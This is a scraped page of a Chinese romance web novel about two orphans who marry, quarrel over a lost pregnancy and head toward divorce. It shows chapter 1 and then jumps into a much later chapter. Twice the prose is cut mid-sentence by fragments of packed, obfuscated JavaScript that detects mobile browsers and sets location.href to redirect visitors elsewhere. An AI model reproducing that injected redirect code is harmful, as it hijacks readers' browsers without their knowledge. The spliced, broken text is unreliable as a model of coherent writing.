《五年结婚,三年逃跑》 1. 童话 《五年结婚,三年逃跑》全本免费阅读 “在一起!” “在一起!” “在一起!” 几个刚打完球回来的男生,大冷天穿着短袖,冒着一身的汗臭味,站在路边,边喝矿泉水边起哄。 女生们三两成群,捂着嘴偷笑,站在操场边,一阵又一阵地惊呼。 操场中央,冷风里,一地的红蜡烛摆成心形。 童话站在爱心内,脸很红,心跳很快,整个人像飘在半空,晕晕乎乎。 她刚吃完晚饭,就被一通电话骗来了操场。 对方说要给她过生日,但场面显然不是过生日这么简单。 骗他的男生站在离她一米远的红心之外,怀里抱着一大捧开着白花的野雏菊。 他低着头,双颊被蜡烛的光照得发红,白色的羽绒服被风吹得鼓鼓的,偏瘦的身材在风中站得笔直。 小时候,童话对方知同印象最深的就是这副站姿。 那时他们都在福利院,童话因为挑食被老师罚站,方知同因为吃不饱,偷吃童话挑出来的菜,也一起受了罚。 艳阳天,红旗下,两个不大点的孩子一左一右地站着。 一个软得像没有腰,另一个则像后背打了钢板。 按照方知同自己说的,他这辈子,是绝不可能弯腰的。 小时候受罚是这样,现在求婚也是这样。 站得笔直的方知同上前一步,微仰着下巴,故意把脸上的红晕藏起来,“童话,我们结婚吧。” 刚刚起哄的那群男生听到这里,像是按下了什么不得了的开关,跳着脚尖叫。 方知同的下巴收了回来,目不转睛地看着她。 天空很暗,路灯的光照不到彼此的脸。 一片模糊中,他明亮的眼睛,对她眨了一下。 “我们认识十五年,一起吃过7953次饭,数过1866颗星星,说过2772次晚安,过了24次生日。十二岁那年你说,十年后的生日,想和家人一起过。” 可是童话没有家,从很小就没有。 福利院有老师有同学,但都不是她的家人。 童话看向方知同,酸涩的眼泪在眼眶滞了又滞。 一大捧雏菊猝不及防地塞到她怀里,像是天上掉馅饼。 “从今往后,让我做你的家人吧。” 少年脸上漾着自信而笃定的微笑,打量着童话的反应。 童话低头嗅着花香。 秋天野雏菊的味道,淡淡的,但只要闻一下,就会忘不掉。 四年前他们考上聊海市同一所大学。童话学设计,方知同学数学。 虽然学业很忙,但他们依旧保持着每天见面。 方知同长了一张容易引起是非的脸。在他很小的时候,这件事就初现端倪。 小时候的方知同是个脸圆圆的小可爱,米老鼠一样的大眼睛,总喜欢好奇地盯着童话看。 每当这个时候,都会有人过来打断他,好好地教育一句:小孩子不可以早恋。 童话尴尬过几次,终于把话说开了。方知同没有想早恋的意思,他那双得天独厚的眼睛,天生深情,看谁都一样。 成年之后,方知同精瘦了许多,脸颊的轮廓清晰硬朗。他变得很少笑,但一笑起来,又跟小时候一样,天真可爱。 同学跟童话说,这叫现在很流行的,反差萌。 他们一起去食堂吃饭,总会吸引不少人的目光。 表白墙上从早到晚,都是嫉妒童话的评论。 在那些女生眼里,他们的男神学长方知同,不管怎样都不该找一个小疯子做女朋友。 童话就是那种风一样的女孩。 别人一天24小时,童话能当48小时用。 学习、社团、实习、约会,从早出去,画着漂亮的早八妆,到半夜回来,口红都吃没了。她不在乎,也不会补妆。 化妆品对她来说太沉,远没有当下的开心来的重要。 繁忙的一天结束,童话躺在床上,立刻就能睡着,有时候不用洗澡,衣服也来不及换。 第二天早八起不来,方知同就给她打电话,一遍又一遍,也不嫌烦。有时实在没办法,拜托宿管阿姨上去叫人,等阿姨把迷迷糊糊的童话扶下来,再一把揽过她。童话自己站不直,一定要趴在方知同身上。 就这样纠缠到自行车后座上,再纠缠到早八教室。 方知同会点杯咖啡给她,然后才走。 有时童话不让他走,就在大庭广众之下,把手伸进他外套里,再抱住他的腰,一派无理取闹,还撒娇得很大声。 方知同是最怕尴尬的,这个时候一定会留下来陪她。 童话单眼皮的小眼睛陡然睁大,白皙的脸上泛着微红,心满意足地翻开书,一只手做笔记,另一只却还拉着方知同不放。 方知同听不懂设计专业课,童话听起课来聚精会神也不理他。他觉得无趣的时候,就趴在课桌上,侧脸看着童话,“叫我留下干嘛?没人陪你不也听课听得好好的?” 童话白他一眼,努了努嘴,“秀恩爱懂不懂?” 方知同一脸哭笑不得,“早八你秀什么恩爱?” 他一着急,直起身,声音也微微增大了一点。 四面八方回头看他们的人一下子多了许多,老师讲课的声音也暂时停下来。 方知同的脸瞬间就红透了,不得不配合着童话,左右点头,礼貌微笑。 “秀恩爱没有回头箭啊,以后都照这个标准来,省得表白墙那群人,再说你叫我高攀不起。”童话从牙缝里挤出这句话,挺直了背,眼角向下撇向方知同。 方知同才明白是怎么回事。 表白墙骂童话的评论,他很早就看到了。为了控评,还请计算机系的好哥们吃了顿饭。 童话平时看着没心没肺,不像会在乎这些话的人。方知同就没告诉她。 可惜树欲静而风不止,那些评论能管得了一时,管不了一世。 方知同很认真地看着童话的眼睛,“这件事秀恩爱解决不了问题。” “那要怎么解决?”童话撩开碎发,偏着头问。 方知同勾着嘴角,故意不说话,直到童话用胳膊肘推推他,才说:“下月你生日,送你个礼物,到时候你就知道了。” 现在确实是知道了。 童话裹紧了土其色大衣,单薄的身体只有装在规规整整的套子里,才能稳稳地站在寒风中。她把头埋进花香,眼泪不受控淌下来,破涕为笑,点了下头。 “答应了答应了!”周围的起哄又开始了。 童话闭上双眼,听到杂乱的声音越来越近,男生们冲到方知同身边,搬了一大堆东西过来。 他们都是方知同的同班同学。 最靠前戴眼镜的那位卷发小哥,年纪轻轻身材有些发福,他叫孔欢,是方知同舍友。 孔欢怀里抱着的东西最多,胳膊下夹着一只打气筒,小臂上挎着小花篮,花篮里是五颜六色的糖果。糖果上罩着一层“轻纱”。轻纱被花环箍了一圈,花环刚好能戴在童话脑袋上。 童话往下扯了扯硬邦邦的纱,“这什么啊?” “别问。”孔欢故弄玄虚。 童话重新闭上眼,把自己的手也放好。 晚风吹得很厉害,但寒冷好了许多。方知同离她很近,和蜡烛温暖得光一起,阻挡了冷风。周遭暖洋洋的。 头纱终于戴好了。 孔欢才说俏皮话:“天亮,请睁眼!” 童话张开眼,朦朦胧胧地,看到方知同单手奉上一只戒指盒。 铁丝弯成的蝴蝶结,精致地别在戒指环上。 离开福利院,他们和资助人失去了联系。这些年一边学习一边打零工,生活都不富裕。 一年前一次偶然的机会,他们得知福利院的南宛姐姐要结婚,一起去参加了婚礼。男方家境很好,婚礼办得奢华气派。偌大的礼堂里,数不清的灯烛萤火,鲜花气球,伴娘提着小花篮,篮子里全是童话喜欢吃的水果糖。 新娘和新郎在众人的祝福声中,郑重而热烈地吻在一起。 那时童话看得入了迷,眼睛都闪起了小星星。 这一切方知同都看在眼里,所以那天的求婚,设计得相当正式。 他为她戴上铁丝做的戒指,微微发凉的手拂过她的泪痕,“戒指和婚纱是假的,不算数,这笔债算我欠你的。” “欠多久?”童话哽咽看他。 “不管欠多久,连本带息,都还你。不过现在,有一样真的可以给你……” “什么真……”童话的话没说完,已经被人堵住了嘴。 柔软的嘴唇,极轻地安抚着她的唇角,吮进了一滴泪。 清新的触感,像一阵快而急促的过电。 童话想起有一年夏天,他们一起去看海。 海浪一下又一下拍打着礁石,倏地过来,倏地又走。 暗处的水流越来越多,急不可耐地冲到岸边,汹涌难止,一把将礁石卷到大海里。 方知同的力气很大,童话像被人磋磨在柔软的流沙里,前一秒还那样温柔,后一秒又步步深陷,坠入深渊。 她的脸红热得发烫,贴在同样热得发烫的方知同脸上。 就这样不知过了多久。 风好像静止了一样。 天空似乎由黑夜变成了白天,豁然明亮起来。 童话猛然睁开眼,坐在床边,怔了好一会。 浑身上下,全是汗,睡衣都湿透了。 手机时间:7月21日,早8点。 距离方知同的求婚,已经过去五年。 她又做梦了。 * “赶紧下来。媒体都到了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12292268|129850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,放空自己,消磨时间。 直到看到肖川出来,下楼梯,人走远,方知同才一个人默默回病房。 他站在童话的病床前,再度平复,然后才把报告单递出去,准备把孩子的事情说清楚。 可童话一把推开,看都不想看,就驳他:“不用说了,我想通了,孩子我不要。” “童话……” “别说了。” 童话自己擦擦眼泪,态度很强硬,“我跟医生问过了,做完检查,很快就能手术,宫腔镜,估计也不疼,你等会去交钱吧。” 童话抬起头看着他,“钱是能交的吧?” “能是能,但这不是钱不钱的问题。”方知同坐到病床边,拉住她的手。 “不,就是钱的问题。”童话低着头,此时此刻眼里一点情绪都没有,“方知同,我们之间,归根到底就是钱的问题,没有感情。” “有感情。”方知同反驳得更快。 童话笑了,连他眼睛发红也不看不问,只自顾自地说:“没有就没有吧,你也不用骗我。你说得对,这些不重要。手术结束我会出国。以后再也不麻烦你……”她声音越来越弱,直到说不下去,别过头,被迫结束,“就这样吧。” “嗯……其实……”方知同盯着手上的检查报告,声音哽咽,“医生说小孩挺健康的。至少现在看起来,挺健康的……” “就几个血液指标能看出来啥?你去妇产科看看,比我数据好的人,特别多。”童话一本正经地说。 “不会特别多。” “我亲眼看到的,还能骗你?” “那也不会特别多……” 方知同没忍住,一大滴眼泪掉到报告单上。 “哭什么?”童话回头看他。 “没……”方知同答不出,先避开她的视线。 “没关系,都有个过程。谁家失去孩子都不好受。但总比孩子生下来再受罪强。” “不会受罪的。我会挣很多钱,会养他,会把他养得特别好,不会让他受罪的……”方知同扒住童话的胳膊,像乞求她一般,可怜兮兮地望着她的眼。 即使那双眼,冷漠地盯着前方,还是一眼都不看他。 “就算你以后会挣很多钱给他又怎样?你不爱他。我自己就是没爹没妈长大的,我知道那是什么滋味。我受过的罪,不想再让孩子受一遍,你不明白吗?”童话低头对着检查单看了一眼,突然拿过来,猛地撕碎它。 “你干嘛?”方知同想抢没抢过。 “少看点这些东西就不会舍不得。你就当这件事没发生。我们从来就没有这个孩子。我不认识他,你也不认识。不是说我不听话吗?我现在听话给你看!孩子我不要了!以后也不要了!” 童话哭着撕报告,撕得床上到处都是碎纸片。 一病房的人,大眼瞪小眼,都这么看着,像看笑话一样。 方知同受不了那种眼神,一边帮她收拾碎纸,一边默默地自我安慰。 那一天从早到晚,俩人都没说一句话。 方知同有时候坐在病房,有时候在楼下的长椅上坐一会。 他把检查报告的碎片,一点一点拼起来,用胶带粘好,重新拿在手里。 然后跑去妇产科,站在打印机旁边,真的等着其他人的检查报告,偶尔瞟一眼屏幕,看到一个数值,就跟童话检查报告上的对一眼。 有的数值高,有的数值低。 方知同的心就跟着那些数据忽高忽低。 家属区另一位准爸爸告诉他,数值不一定准确,建议看B超。B超的照片可以一张张留好,以后是个纪念。 方知同小时候没照过几张像,现在也不记得自己小时候长什么样子。那一瞬间他突然萌生一个念头,要给这个孩子拍很多照片,每一天每个月都要拍。 不管他能活多久,都不会因为这件事而遗憾。别的小朋友能有的照片,他也都要有。 现在看来这个想法像疯了一样。可那时候悲伤过头,任谁劝也劝不住。 方知同跑回病房,像出了什么不得了的事情一样冲过来拉住童话的手,“等检查的时候,咱们也留一张B超照吧。就当留个纪念,好不好?” 童话没说话,盯着他的眼睛,很茫然。 方知同才意识到这个请求的突兀,坐下来,努力笑着,“算我求求你。” 他都已经那样求她了,甚至想过所有她可能的做法,骂他打他生气地扑到他怀里,砸他的后背,怎样都可以…… 可她什么也没做,只是坚定地说了两个字,“不好。” 照片就这样没有留。 方知同没能见到那个孩子。 说来惭愧,童话手术那天,培训机构给他的假期刚好到期,他必须要回去。 再听到童话的消息,是在第二天,她坐上前往美国的飞机,起飞前才给他信。 她早就打算好了,机票和签证,都是南宛帮忙弄的。这种事情不可能这么快搞定,一定是很早商量好的。 可她一句都没跟自己说过。 方知同尽快停下手头的工作,追到机场,飞机已经起飞了。他拜托方晓蕾提前一天去拦童话,也没拦住。 方知同在机场附近随便找了个地方住,一夜未眠。 那时他想人生可真会跟他开玩笑,什么事情他都是后知后觉。 大概就是从那个时候起,他很讨厌小孩子。 别说见到,听到声音都会毛骨悚然。 方知同想着打了个寒战,自嘲地笑了下。 抬起头,不知不觉已经到小区门口。 雨还在下,一路虽然都是小雨,但已经足够让他才在便利店晾干的衣服,又湿透了。 四周一片漆黑,看看时间,已经零点。 “都这么晚了。”方知同小声感叹了一句。 “你还知道!” 面前传来熟悉的女声。 17. 童话(三章合一) 童话举伞,看着对面错愕的表情。 方知同下来推车,很自觉地走进伞下。两个人并肩往回走。 “什么拍摄任务要到这个点?不是说很快回?”童话不受控地蹙了一下眉,语气不太好。 老实说想控制一下语气来着,但这个时间,又困又累,完全控制不住。 她以为方知同又要像之前一样跟她发脾气,刻意定了定神,做点心理准备。 但方知同少见地沉默一会,没直接反驳她。 “怎么不说话?”童话有点不适应,声音也温柔下来。 “没怎么。”方知同说话轻飘飘的。知道的是他在外面忙拍摄,不知道的还以为他在外头淋了一下午雨,人能虚成这样。 想到淋雨,童话才注意到方知同骑着单车。她等在车库门口,但并没有见到方知同的车。 “你就这么出去的?”童话有点诧异。 “不然?” “没开车?” “我什么时候跟你说我买车了?” “嗯?”童话一点都不信,“你之前不是一直想买。一到车展就去凑热闹。” “那是以前。” “难道现在不是?”童话脚步放缓,狐疑盯了他一眼,“没我在身边,你不是更该释放天性吗?” “我什么时候说过我天性就是去车展看车?”方知同的语气满是无奈。 “不看车看什么?看美女啊?”童话别过头,目视前方,无所谓地说。 方知同接不下去了,干脆停下来,似怒非怒地盯着她。 “算了,”童话很快就自己想通,“你就要恢复单身了,想看就去看。这回找个漂亮点的老婆,别过着过着又不爱了。” “什么叫又?”方知同朝她走了一小步,离她更近了点。 “意思就是吃一堑长一智,一次婚姻失败了,总要吸取点教训。” “所以你觉得,我爱谁不爱谁,单纯看长相,是吗?”方知同的声音,像受了多大委屈似的。 “说不定还有身材。”童话睁大眼睛,也不示弱。 谁知道随口一句真给方知同说急了,一下子认真起来,声音也提高了几分,“你就是这样看我的?” “嗯。”童话继续往前走,顺便把伞也撤走。 方知同冒着雨追她,追上又问:“你什么意思你给我把话说清楚。” 又是这样,上纲上线。 童话要烦死了。 “懒得理你。”童话快走几步,想躲他。 方知同再追,又问,“懒得理我还出来接我?” “接你……”童话快被他逗笑了,“像你这种早睡早起、三餐不落,作息规律得比打鸣鸡还准时的人,需要人接你回家?” 方知同被噎得死死的。 “那是?” “是你那屋漏雨,地板泡水,之前哪个公司装修的,我找不到电话。孙阿姨也不知道。一屋子水拖都拖不完。走之前为什么不关窗啊?”童话停下来,浅瞪了他一眼,“不关窗就算了,还关门?水漫到客厅了我们才看到……”童话没脾气,努力克制了一下无语的口气,摇摇头,“一点常识都没有。” “我不是忘了吗?谁没忘事的时候?”方知同理亏,没办法辩白再多,声音也弱下去,“再说出事了,你不会给我打个电话……” “打什么电话?你们艺人工作,手机不都在经纪人那儿?到时候打了没人接不是白打。” “你怎么知道的?”方知同忍不住看了童话一眼。小区路灯下,童话白得反光。 “没吃过猪肉还没见过猪跑啊……”童话自己努努嘴。 “一般来说,工作的时候确实不会接电话,不过家属的电话,裴添还是会告诉我的。” “家属?”童话愣了下神,也不知道这个称呼还能沿用多久,一时间没想好怎么回他。 可不过短短几秒停顿,方知同就好像抓住了什么把柄一样,匆匆瞥她一眼,嘴里咕哝:“不愿意要这个特权就算了,反正你一年到头也给我打不了一次电话。” 单元门口,方知同停下,冷着脸拉开门,自己推车进去。 童话默默跟进来,才发现方知同身上的衣服都湿透了。 怎么被浇成这样? 童话看着那副落汤鸡的模样,想着要不要问点什么。 可才被他顶了一句,此刻再多关心的话推到嘴边,怎么也说不出口。 “少管我了,管好你自己吧!”童话努力克制着不开心,先去按电梯。 “管我……什么?”方知同没听懂。 “下雨天出门连个伞都不知道带?”童话瞪着他,直到他进电梯,手指才在关门键上快速地点了又点。 方知同站到电梯的另一处角落,同样瞪着她,“淋个雨又死不了人。” “你说得对。”童话被怼到气滞,“就算你真死了也跟我没关系。” “之前有过关系吗?”方知同白了她一眼,声音放低,不想吵了似的。 童话回味了一会,确定那是一个白眼。 他他他,都敢给她白眼了! 现在真的是,装都不装了啊。 电梯停下,方知同率先出去,打开家门换好了鞋。 孙阿姨停下手头,慌慌张张地过来,手里还拉着拖把,“那屋水还在冒,怎么拖都拖不干。” 童话进门一看,次卧的水已经流到客厅,弄得客厅也水漫金山。 “阿姨这样不行,要用干拖布。湿拖布越拖越湿。”童话脱下鞋就过去帮忙。 “我知道的我知道的,就是这个水它一直流,我去涮个拖布的时间,又流了这么一滩。”孙阿姨停下来,拄着拖布擦擦汗。 童话往次卧里看一眼,确实如此。 “别急,我看看。” 说着踢踏着拖鞋就往里跑。 身后冷不丁一句,“别跑,地上有水。” “我瞎啊?我看不到?”童话停下,朝方知同回了个头。 某人抿住唇,再开口时指了指她脚下,“穿好鞋再往里走。别糟蹋拖鞋。” 童话踩好鞋,自己低头看一眼。拖鞋是新的,估计不便宜吧,所以方知同才这样说。 算了,随便他。 童话走进次卧,先排查了一会,“地下水管漏了吧。” “那怎么办?”方知同进来问。 “要找专业检漏的师傅过来查一下。”童话说着拿出手机发消息,“国内的,我应该存过微信。” “要多久?” “很快,测个压力就行。咱们主要是没设备。” 童话盯着木地板发呆,大房子的弊端就是这样。看这架势这屋地板都得拆,怎么想都是个大工程。 “你明儿有工作吗?”童话问方知同。 “没。” “那明天你看着师傅弄。” “好。” 童话转头看向客厅方向,“阿姨,帮我拿块干毛巾过来吧。” “两块。”方知同补充。 童话疑惑地瞥他一眼,“干嘛?” “不一起?” 童话心里堵得死死的,“一起什么一起,先把你衣服换了,你这走来走去又一地水……” 方知同憋了一口气,过去猛一下拉开衣柜,带着气问她:“谁着急叫我回家的,现在又不让我帮忙?” “谁着急你回家?我那是着急要装修师傅电话。现在好了,修管道的师傅也能帮忙拆地板,不用他们再跑一趟。” “合着你的意思,我现在没用了?”方知同拿出睡衣正准备换。 童话一眼看见,心里又憋了一股火,“你现在最大的用处就是给我添点麻烦。去卫生间换衣服啊,衣服脱下来不滴水?” 方知同没说话,表情再怎么难看却还是乖乖钻进卫生间。 “衣服脱下来直接放洗衣机,别弄得卫生间也到处是水。”童话大声叮嘱他。 卫生间门被推开一条小缝,某人像是犹豫要怎么驳她,但童话对着那条门缝神经紧张了半晌,只听见一句:“直接洗?” 肯定明天洗啊,都这个点了,这个傻子。 童话怎么想怎么不痛快,但想想费的是这家伙自己的水电费,一会也是他自己晾衣服,好像没必要担心,于是回他:“随便你。” 孙阿姨拿了干毛巾过来,童话跟她一起擦起地,也没工夫管方知同了。 毛巾吸足水,到旁边的盆里拧干,再吸第二次。反复几回,明面上的水去的差不多,只是地缝还是不断有水渗出。 毛巾放这儿不保险,需要一个吸水性更强的东西,先撑一晚上。 童话想了一会,灵机一动,跑回自己屋,翻翻化妆台的抽屉,边找边扯嗓喊:“方知同,我之前放家的姨妈巾呢?” 方知同过了挺久才过来,手里拿了一只灰色布艺收纳包。 拿来也不给她,而是皱着眉,“出门这么久还不会自己记日子?” 童话懒得解释,白他一眼,夺过收纳包,放地上,拉开拉链,里面整整齐齐的卫生用品,日用,夜用,夜安裤,分别有自己的小隔间,还都是她常用的牌子。 随便拿起一包,半年前的日期。 再拿一包,还是…… 见了鬼了。 她毕竟三年没回家了啊。 “不是……我之前的?”童话不敢相信地抬起头。 “当然新买的。这东西有保质期你不知道?”方知同的语气像怪她似的。 知道是知道,保质期刚好三年,确实是该换了。 但是,一个大男人在家收纳卫生巾,怎么想怎么奇怪啊! 童话说不出怎么个尴尬法,特别是一想到这个帮自己收纳卫生巾的男人,即将成为前夫…… 方知同看她犹豫半天也没拿一片出来,以为没有她想要的,又补充,“棉条在最下面。” “知道了。”童话支支吾吾,随便拿了一包夜用,赶紧逃离现场。 “厨房有红糖。”方知同跟过来,“布洛芬在茶几下面装药的小抽屉。还有益母草颗粒……” “没完了?”童话侧身,瞪他一眼,当着他的面撕开卫生巾,把外包装攥在手心里,“孙阿姨,你先出来,我贴几片这个就好了。” “能管用?”孙阿姨半信半疑。 “能,信我。” 童话进屋把卫生巾倒扣在渗水的地缝,再铺上两块毛巾,起身用干毛巾擦擦手,出来到客厅,正撞见方知同一脸呆滞。 方知同指指地面的卫生巾,“你是……干这个用?” “嗯。”童话点下头,自顾自往卧室走,“不用这么假惺惺关心我,之前我生理期再难受你关心过一句吗?” “我怎么没关心过?”方知同跟到门口,手握成拳,撑着门问。 “你那叫关心?你那叫骂!你骂我不会照顾自己,没有自己冲药,没有自己弄热水袋。我躺在床上疼得起不来,我上哪儿去冲药,上哪儿去弄热水袋?” “那就在你没那么疼之前把药和热水袋准备好,我跟你说了多少次……”方知同用手比划着,认真起来,“做什么事情都提前想一下可能的情况,不要等真出事了再现想办法。” “我想办法……”童话喃喃着,忍不住气笑了,“我要什么事情都能想到办法,我要你干嘛?结婚干嘛?为了让我自己疼死在床上还要听你一顿骂?” “我那是关心你,你听不懂人话?”方知同的喘息逐渐加重,上前一步,压抑的喘息几乎贴在她脸上。 童话盯着他的眼,“我稀罕你关心!少拿关心给你的臭脾气找借口,我不是你女儿也不是小孩子,我不需要你说教!” “不要跟我提孩子……”方知同颤声说。 “怎么了?”童话苦笑,“当初让我流产的时候你不挺干脆的?” “不是我让你流产的!”他吼了一句,声音却突然弱下去,像一瞬间的冰山入海,悄无声息地把所有的情绪掩藏心底,他闭上眼,喃喃重复:“不是我让你流产的……” 许久许久,那双眼才缓缓睁开,莫名其妙湿润起来。 他不说话,只是双颊用力,咬紧牙关,眼神冷漠疏离,说不清是在恨她还是不在乎,就跟三年前站在医院走廊里的时候,一模一样。 回忆一瞬间在童话心头炸开。 那些年方知同说过的话做过的事,冷血与绝情,一桩桩一件件,从来没这么清晰过。 她故意靠近他,微笑一下,装得若无其事,“就算不是,能怎样?孩子已经没有了!就算是我自己打掉的,你怪我呀?来骂我,来打我。” “别说了。”方知同睫毛微微发着抖。 含泪的双眼蓦地失了光,由盛转衰,可怜兮兮,仿佛在求她,求求她放过他。 好假。 就像三年前病床边,他假模假样求她给孩子留一张照片…… 早干什么去了,方知同。 打一巴掌再给个甜枣这一套,她早就不吃了。 她永远无法原谅,那个在电话里冷言冷语,宁可麻烦肖川也不肯抱她一下,流产当天都不愿意陪她身边的男人…… “凶我呀方知同,你不是最会了吗?结婚五年我就从来没听你说过一句,童话,你做的对。我做的都是错的,你做的都是对的。流产这么大事,怎么能是你做的决定……你不会错,你永远没错!错的都是我!” 她指着自己的胸口,那里有一道很深的疤,蚯蚓一样横在胸前。 开胸手术的时候,她断了两根肋骨,留了一道疤。但凡看过那道疤的人,都问她疼不疼。 她每次都摇头。 比起方知同扎在她心里的那些话,疼痛已经好多了。 但方知同理解不了,他永远不会知道那种疼痛是什么感觉,只有指责和质问,所以童话才不想说。 有些话忍了又忍,像把刀片含在嘴里,就算满嘴鲜血,也不张口。 如果不是要离婚,童话可能一辈子也不会把这些话吼出来。 先前她顾虑很多,怕他嫌弃她,怕他和他家人关系不好,怕离开怕失去,可怕来怕去,生活越来越糟糕。 现在她不想忍,也忍不了了。 “承认吧方知同,你根本就没有爱过我!” “那你又爱过我吗?”方知同的声音压过她,“你口口声声我不爱你,那你爱我吗?你说你得不到我的肯定,我得到过?三年没见,如果我不主动说,你会关心我过得怎么样?”他别过头,不愿意看她似的,克制的哭腔就快隐忍不住,“你不会!” “你宁可关心肖川喝那么两口酒会不会出事,也不愿意关心我三年一个人过得怎么样?我不难受,我过得好,我永远比所有人过得都要好!” “你过得好,不是你自己说的吗?现在又发什么疯呢?”童话越来越看不懂他。 “是,没错,我发疯了。只是普通的发疯而已。”方知同点点头,眼神空洞,叉住腰,后退了半步,“你不是也说过,是个人都会发疯吗?我也是个人,你就当我在发疯吧……” 门被拉开,他沉默地出去。 砰地关上,没有再打开的意思。 童话对着那扇门,心口发闷。 她不懂方知同有什么好委屈? 她只不过陈述了一个事实——当年第一个放弃孩子放弃她的人,难道不是他? 也对,人只有真的做了亏心事,才会害怕鬼敲门。 她关心他过得好不好吗?童话扪心自问。 不关心,好像,也关心。 准确说不管关不关心,都能猜得差不离。 这些年过得很煎熬吧方知同? 想到这儿童话不知为何会有一丝痛快。 像点了一根蔫儿了许久的炮仗,直冲云霄。 可惜再痛快,她也笑不出来。 没出息!真没出息! 最没出息的是她用手捂住眼,眼泪就像泄洪一般,滔滔不住。 哭什么呢?童话不知道。多高兴的事,哭什么?她哭着骂自己,应该笑的啊。 心里埋了已久的火,烧开束缚的藤蔓,越燃越高,越燃越旺,就要从喉咙里冒出来。 她钻进卫生间,捂着湿毛巾,蹲在地上,呜咽出声。 他说她不爱。 他有什么理由指责她的爱? 新婚当晚,他们在KTV请客,童话知道方知同没怎么喝过酒,专门跟所有客人私下打了招呼,让他们少灌方知同一点。 每个被她嘱咐过的人,都忍不住打趣一句,她好爱。 那时候他们越说,童话越开心。 她就是喜欢方知同,喜欢得光明正大,恨不得让天底下所有人都知道她喜欢才好。 大家在KTV玩真心话大冒险,其实是她的主意。她提前拜托李文惠,在题卡里塞了几张她新写的。 每一道题,都是她给方知同的一个惊喜。 她写了整整两页纸的表白信,想读给他听,想当着所有人的面抱住他吻他。 她甚至亲手设计了一枚戒指,材料虽然不算贵,但肯定比方知同那只铁丝环好得多。 她想亲口告诉他,这辈子能嫁给他,自己有多幸福。 不是她不爱啊,是方知同连一个让她说爱的机会都没有给她。 李文惠让童话抽题卡,童话的手还没有动,就听见方知同说“不玩”。 李文惠起初还劝他:“真夫妻啊怕什么?” “别别别。”方知同连连摆手。 李文惠也有点尴尬地看着童话,不知道该怎么办。 童话攥了攥拳,一瞬间脑海里所有的幸福设想全部化为泡影,她闭上眼强忍失望才说了一句:“算了,我们玩。” 那些卡没有被抽出来,表白信没机会读,戒指也没机会送。 童话平复着心里的难过,努力稳定情绪,尽量先不让大家冷场。 歌曲一首接一首,不愉快的情绪很快就被童话抛之脑后。她很理智地想,既然是惊喜,方知同还不知道就是好的,早给晚给不都一样。就算没有这么多人见证,只要方知同能知道,也是很好的。 这样想了半晌,直到完全平静,童话才趁大家玩得尽兴的时候,抱起准备好的全部惊喜,打算拉方知同出去说。 可包间里没看到方知同的人。 她借口去卫生间,出去找他,发现他坐在店门口,吹着冷风,跟前台的店员姐姐有说有笑聊着天。 不知道什么时候出去的,也没跟她打一声招呼。 新婚夜啊,就这样…… 童话的心凉到谷底,再回包间,怎么也开心不起来,就这样匆匆让大家散了场。 童话在福利院说是有挺多朋友,但真正能在身边说几句知心话的,一个都没有。 高中毕业后李文惠去读了警校,她那个性格毛毛躁躁的,听说在警校受了不少罪才改过来一点。大学四年她没谈过恋爱,也没这个打算,更不能理解童话怎么就能为了一个方知同茶饭不思,死去活来。 平时童话跟她提方知同她就一脸不想听,那时候正好在准备联考,更没心思听她多说。童话都理解,所以没麻烦她。 至于肖川,好像偶尔能听童话说两句感情的事。但这样的时间不常有。 那天已经超过半夜零点,肖川家里的保镖接他回家,童话也不好意思留他。 南宛姐远在天边,童话又够不到。 跟其他人,童话更不好意思开口。 于是就这么忍着。 忍到人都走光了,眼泪含在眼眶里,方知同进来,若无其事地催她快走。 晚上回酒店,童话哭得喘不上气。 方知同不问,也不理她。他叫她滚,大冷天的出去住。 童话没地方去,楼下咖啡厅待到凌晨,自己回了学校。 那时候她在忙毕设,毕设课题还是他们的婚礼现场设计图。 领证当天童话还兴高采烈地跟方知同卖关子,打算等设计图完稿再给他一个惊喜。 可那时对着完成一半的“婚礼”,童话怎么也画不下去。 他说要给她婚礼,就真的会给吗? 就像他也说,以后要做她家人,可谁会赶自己的家人出去住? 大半夜,童话在自习室熬夜画着图,边画边哭。同学问她,方知同呢? 童话不知道该怎么解释,就努力笑着,说忙呢。 可能忙着和朋友出去聚餐,可能忙着自己的毕业课题,可能忙着休息,或者忙着开心…… 童话不知道,也不想知道,反正整整一周,他没来找过她一次。 偶尔发消息,问她在干嘛? 童话不回,他也不再问。 两个人都对那晚的事一句不提。 后来和好,也不是因为谁认了错。 而是有天孔欢突然给她打电话,说方知同住院了,急性阑尾炎,需要手术。 童话赶到医院才知道,方知同不知道喝了多少酒,生生喝住院了才算完。 见到她来,某人躺在病床上,拉住她的手,他们互看一眼,什么都忘了一样。 童话出去交钱,签字办手续。送他进手术室还安慰他。 麻药过劲的晚上,方知同疼得受不了,他虽然不说,但苍白的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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毕设最忙的时候,她在医院陪了方知同三天,晚上都没怎么睡,这叫不爱他? 他到底有没有良心? 童话放下毛巾,打开水龙头,放一点热水,手捧着热水按了按眼睛,让自己舒服一点,然后简单洗漱,迅速上床。 躺在被窝里,做几次深呼吸冷静一下。 不要再回忆了,童话自我洗脑,回忆也没用。 他说不爱就不爱吧,反正以后也不会爱。 从现在开始跟这个男人有关的一切,她都要不留余地地斩断。 不要再担心那混蛋怎么看她,不要盘算怎么讨好他,也不要在乎他死活…… 他想发疯随便他。 童话心里的那口气豁然松开,可片刻后又揪了回来。 什么都能斩断没错,可唯独一个人,暂时斩不断。 童话看向天花板,吊灯的黄光,温暖柔和。灯是她选的,卡通款,外形像一颗硕大的糖果。 家里所有的灯,款式都类似。 那时候她想生活太苦,没事就多看看糖果吧。 以前方知同不喜欢糖,但还是依着她。 灯买回来的那晚,方知同也和她现在一样,躺在床上,望着灯,面带微笑,笑了特别久。 他指着灯问她:“将来等你病好了,咱们要是有孩子,就叫糖果吧。” “方糖果,多难听。”童话的五官都快拧一块了。 